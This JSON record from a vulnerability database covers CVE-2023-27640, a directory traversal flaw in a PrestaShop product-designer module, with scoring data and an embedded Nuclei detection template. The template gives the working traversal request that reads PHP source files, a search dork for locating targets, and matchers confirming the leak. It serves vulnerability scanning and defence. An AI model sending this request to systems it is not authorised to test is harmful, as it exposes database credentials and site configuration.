{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-27640/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-27640/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-27640/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-27640/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-27640/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-27640"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-27640"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.03573,
      "kev": false,
      "percentile": 0.88871
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-27640.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-27640\n\ninfo:\n  name: PrestaShop tshirtecommerce - Directory Traversal\n  author: MaStErChO\n  severity: high\n  description: |\n    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.\n  impact: |\n    Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.\n  remediation: |\n    Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.\n  reference:\n    - https://www.cvedetails.com/cve/CVE-2023-27640/\n    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-27640\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-27640\n    cwe-id: CWE-22\n    epss-score: 0.03573\n    epss-percentile: 0.88871\n    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*\n  metadata:\n    max-request: 1\n    vendor: tshirtecommerce\n    product: custom_product_designer\n    framework: prestashop\n    google-query: inurl:\"/tshirtecommerce/\"\n  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"text/html\")'\n          - 'contains_all(base64_decode(body), \"PrestaShop\", \"<?php\")'\n        condition: and\n# digest: 4a0a00473045022100d5b2bc4c7cf71699b39788d8becf12b3fff7c14fb9bcaa93cab83dc9e506118e0220290e68ce272503d2ec63679de415a4850741d6e4a7e312ae8fd17e44199299db:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-27640"
}